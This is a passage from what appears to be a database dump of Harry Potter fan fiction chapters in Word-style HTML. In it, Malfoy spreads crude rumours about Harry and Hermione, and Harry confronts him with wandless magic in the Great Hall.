style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Their\nfingers slowly separated, as did they.&nbsp; She gave him one last smile and\ndisappeared down the corridor.&nbsp; Harry watched her leave then headed up the\nstairwell to his own room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 5, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nthe holidays rolled by, Harry felt that, for once, everything was going right\nin his life.&nbsp; He actually understood everything in his classes &#8211; even\nPotions &#8211;, he had a wonderful girlfriend, and lastly, it was time for quidditch\nto begin.&nbsp; He was also glad that no one except Ron and Lavender knew about\nthe little incident between him and Hermione.&nbsp; Harry could just imagine\nwhat would happen if people found out that they&#8217;d fallen asleep on the couch\ntogether.&nbsp; Before long, it would be blown completely out of control!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey\nPotter!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Damn,\nwhy now?&#8217; Harry had been having an excellent day and was just about to head to\nquidditch practice when who decides to show up&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\ndo you want, Malfoy?&#8221; The blonde-haired young man smiled evilly.&nbsp; His\nlackeys Crab and Goyle were not more than two feet behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nnothing, just wanted to know how good she was?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you talking about?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\ncome on, Potter, it&#8217;s no big secret.&nbsp; So tell me, was the Mugblood any\ngood?&#8221; The hairs on the back of Harry&#8217;s neck snapped to attention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nbetter not be talking about Hermione,&#8221; he growled.&nbsp; Malfoy just laughed\nsadistically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nit is true isn&#8217;t it?&nbsp; You did knock her up.&nbsp; So when was it, the\nnight of the ball when neither of you showed up?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No!&nbsp;\nNothing happened between us.&nbsp; And I swear, if you don&#8217;t shut-up about\nthis&#8230;&#8221; Harry&#8217;s knuckles were turning white as he clenched them together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nplease, don&#8217;t make me laugh, Potter.&nbsp; You can&#8217;t touch me, and you know\nit.&#8221; Crab and Goyle moved closer to Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Leave\nHermione and I alone!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Or\nwhat, you&#8217;ll go whining to Dumbledore about it?&nbsp; Please, that old geezer\ncan&#8217;t see two feet in front of him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas ready to explode.&nbsp; Not only had this jerk insulted his girlfriend, he was\nalso insulting Harry&#8217;s mentor.&nbsp; Taking a deep breath, Harry tried to calm\nhimself down.&nbsp; He grabbed his broomstick, turned around, and walked\noff.&nbsp; He was not going to play Malfoy&#8217;s game today.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nthe week progressed, things just got worse.&nbsp; Harry was bombarded with\nquestions about his relationship with Hermione.&nbsp; Everyone knew that they\nwere at least dating, and the two of them didn&#8217;t mind that, but this was too\nmuch.&nbsp; Harry remembered being asked what Hermione looked like naked, and\nhe nearly decked the seventh-year who&#8217;d asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nmuch as Harry was annoyed, Hermione was asked twice as much.&nbsp; It seemed\nlike every girl at Hogwarts wanted to ask her about Harry.&nbsp; They asked how\ngood he was, how many times they did it, someone even asked her how big he was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nmanaged to keep her cool and kept telling Harry that it would just blow over,\nbut the young man was slowly reaching his limit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">By\ndinnertime Thursday, Harry seemed to be cooling down.&nbsp; Hermione had been\nright.&nbsp; The questions had slowly stopped being asked.&nbsp; He sat down at\nthe Gryffindor table, and Hermione took a seat beside him.&nbsp; The two could\nhear whispering from every direction and somehow knew that it was about them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey,\nyou two!&#8221; Ron sat down across from Harry, and Lavender took a seat beside him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi\nRon.&#8221; Ron could tell that Harry was trying to restrain himself.&nbsp; The past\nweek had been murder for him and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nrelax, this can&#8217;t last too much longer.&nbsp; You and Hermione keep admitting\nthat nothing happened and sooner or later people will stop bugging you two,&#8221;\nLavender piped up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;She&#8217;s\nright; you know how the rumors change from week to week,&#8221; Ron added.&nbsp;\nHermione placed her hand on top of Harry&#8217;s and smiled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, we&#8217;ll get through this; we&#8217;ve gone through worse.&#8221; Harry gave her a\nsmall smile and squeezed her hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nI know, I guess that I&#8217;ve been on edge lately.&nbsp; Sorry guys.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing\nto apologize for,&#8221; Ron answered.&nbsp; That settled, the four of them dug into\ntheir meal.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dinner\nwas halfway through, and it seemed like things were going to remain calm.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Until&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nserious!&nbsp; He told me so.&#8221; A fifth-year Hufflepuff turned around toward the\nSlytherin table. &#8220;Isn&#8217;t it true, Malfoy?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Absolutely,\nwherever it&#8217;s convenient for them? &nbsp;But don&#8217;t ask me, why don&#8217;t we ask the\nman himself?&#8221; Harry stopped eating but didn&#8217;t turn around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey\nPotter!&nbsp; I hear that the Mugblood puts out for you whenever you\nwant?&nbsp; So tell me, what&#8217;s she good for &#8211; three, four, five times a day?&#8221;\nHe said it loud enough for the entire Great Hall to hear him, and several\nsnickers could be heard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mr.\nMalfoy, that is enough.&#8221; It was Professor McGonagall, and she looked quite\nagitated at his question.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Meanwhile,\nHarry was ready to spit nails.&nbsp; Ron actually gulped as he saw the rage\nburning in his best friend&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Malfoy,\nwhy don&#8217;t you just shut your big mouth?&#8221; Hermione yelled as her eyes burned\nwith anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;well&#8230;well&#8230;tell\nme, Potter, is she that sassy in bed?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">WHAM!!!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Malfoy\nwas slammed back against the wall so hard that his back nearly broke.&nbsp; No\none was laughing anymore as they merely watched in utter shock.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwarned you, Malfoy!&#8221; Harry was floating in midair above the Gryffindor table,\nand his eyes held a glaze of pure hatred.&nbsp; He levitated across the room\nuntil he was above the Slytherin table.&nbsp; Crab and Goyle stood up to get\nbetween him and Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If\nyou two know what&#8217;s good for you, you&#8217;ll move right now!&#8221; Harry roared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">No\none had ever seen Harry Potter so angry.&nbsp; Not even the professors could\nbelieve it.&nbsp; Hermione watched in silent shock.&nbsp; What surprised her\nthe most was that Harry wasn&#8217;t even using his wand to do this.&nbsp; It was\nstill sitting by his plate on the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry&#8217;s\neyes burned with a fiery fury, and the two Slytherins backed away under his\ndeadly gaze.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Malfoy\nwas frozen in shock.&nbsp; He was trying to pull himself off the wall but to no\navail.&nbsp; He could only watch as Harry floated right up to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis the last time I will say this, Malfoy.&nbsp; Nothing happened between\nHermione and I.&nbsp; I will not have you or anyone else talking about her like\nshe&#8217;s a cheap two-dollar hoar.&nbsp; You want to mess with me &#8211; fine, but don&#8217;t\nyou dare touch someone that I care about?&nbsp; Is that clear?&#8221; His green eyes\nbore into Malfoy&#8217;s head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\njust wait, Potter, when my father hears about this&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\njust like you, Draco.&nbsp; Go running off to daddy when you&#8217;re not\nhappy.&nbsp; What&#8217;s the matter can&#8217;t fend for yourself?&nbsp; If you&#8217;re a man,\nyou&#8217;ll fight your own battles.&#8221; Harry moved forward until his nose was almost\ntouching Malfoy&#8217;s.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ngive you one last warning.&nbsp; If you ever insult Hermione again in any way &#8211;\nthat includes calling her Mugblood &#8211; I swear, I&#8217;ll transfigure you into a mouse\nand feed you to Filch&#8217;s cat!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Filch,\nwho had been standing in the back of the hall watching, raised an eyebrow at\nHarry&#8217;s statement, and Mrs. Norris hissed happily and raised her claw toward\nMalfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At\nthe professors&#8217; table, McGonagall had gotten over her initial shock and was now\ntrying to counteract Harry&#8217;s spell, but she couldn&#8217;t.&nbsp; Not even Snape\ncould counteract the magical power that Harry Potter was putting out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nIt was Dumbledore&#8217;s voice. &#8220;Put him down.&#8221; At first, Harry didn&#8217;t move, but his\neyes twitched slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsaid put him down,&#8221; Dumbledore said a little more forcibly.&nbsp; Harry still\ndidn&#8217;t move; his eyes merely burned a hole into Malfoy&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nlooked at Hermione, and she nodded as she stood to her feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,&#8221;\nshe said trying to soothe his anger. &#8220;Put him down, please.&nbsp; You&#8217;ve made\nyou&#8217;re point; you don&#8217;t have to do anymore.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nPotter turned to face his girlfriend, and her smile made his rage drain\naway.&nbsp; He backed away from Malfoy and lowered his head towards the\nfloor.&nbsp; The blonde young man hit the floor with thud, and Harry levitated\nback over to the Gryffindor table.&nbsp; He returned to the ground, but\neveryone was still staring at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Looking\nat Hermione beside him, Harry drew her close and put her head on his\nshoulder.&nbsp; She understood was he was doing; he was saying that he would\nprotect her no matter who tried to harm her.&nbsp; Harry finally realized what\nhe&#8217;d just done, and he felt slightly ashamed.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Looking\nup at Professor Dumbledore, he could see concern in the older man&#8217;s eyes, but\nwhat surprised him was the look of wonderment in the other professors&#8217;\neyes.&nbsp; McGonagall was looking at him in shear astonishment as was\nProfessor Flitwick, Professor Sprout, and even Hagrid was in shock.&nbsp; Snape\nwas just scowling at him angrily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI want to see you in my office first thing tomorrow morning,&#8221; Dumbledore said\nfirmly.&nbsp; Harry merely nodded and looked down at the young woman in his\narms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nlooked up at him worriedly.&nbsp; What would happen to him?&nbsp; He&#8217;d used\nmagic in a threatening fashion towards another student.&nbsp; What would his\npunishment be?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright, everyone, return to your dormitories,&#8221; Dumbledore ordered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus,\nwhat just happened here?&#8221; McGonagall asked as the older man sat back in his chair.\n&#8220;I&#8217;ve never seen Harry wield such power.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He\nshould be expelled!&#8221; Snape hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nforget, Severus, that Draco Malfoy has been going around Hogwarts the past week\ntelling everyone lies about Harry and Hermione.&nbsp; If someone treated your\nwife like a prostitute, wouldn&#8217;t you be angry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nthe boy nearly killed Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhighly doubt that Harry would&#8217;ve killed him; it is not in him to kill another\nhuman being.&nbsp; I believe that he was merely trying to scare Malfoy into\nleaving Miss Granger alone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus,\nhe needs to learn to control his power, or someone could get hurt.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow, Minerva, that is why I asked to speak with him.&#8221; Dumbledore gazed at the\nyoung couple that still hadn&#8217;t let go of one another.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas stroking Hermione&#8217;s hair gently, and she was crying softly on his shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Go\non, Herm, I&#8217;ll meet up with you and Ron later on in the common room, okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nsure?&#8221; she blurted out.&nbsp; Harry gave her a soft smile and wiped her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, sweetheart, everything will be fine,&#8221; he whispered. &#8220;Now go on, I&#8217;ll see\nyou in a little while.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\ngave him a quick peck on the lips, grabbed her things, and headed out.&nbsp;\nHarry turned to see Crab and Goyle helping Malfoy out of the Great Hall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nget you for this, Potter,&#8221; Malfoy sneered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Try\nit and see what I do!&#8221; Harry fired back.&nbsp; He smirked as he saw a hint of\nfear appear in Malfoy&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Go\non, you three, &#8221; Professor McGonagall stated as she approached them from\nbehind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As\nfor you, Mr. Potter, you will accompany me to Professor Dumbledore&#8217;s office\nfirst thing tomorrow morning.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nma&#8217;am.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nfollowing morning, Harry woke up with a slight headache.&nbsp; He hadn&#8217;t slept\nwell at all.&nbsp; When he&#8217;d returned to the Gryffindor common room last night,\nno one, with the exception of Ron and Hermione, would talk to him.&nbsp; They\nall seemed to be afraid of him. Harry dressed quickly and headed out of the\nportrait hole, heading for McGonagall&#8217;s classroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nhe walked through the hallways, almost every student stopped to stare at\nhim.&nbsp; Harry felt like he was standing on a stage with a spotlight pointing\nright at him.&nbsp; His mind was so preoccupied that he didn&#8217;t bother to look\nin front of him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nbumped into someone, and they both fell onto the floor.&nbsp; He quickly got up\nand noticed that the person he&#8217;d knocked over was a young girl.&nbsp; She was\nquite small even for a first-year student.&nbsp; She had 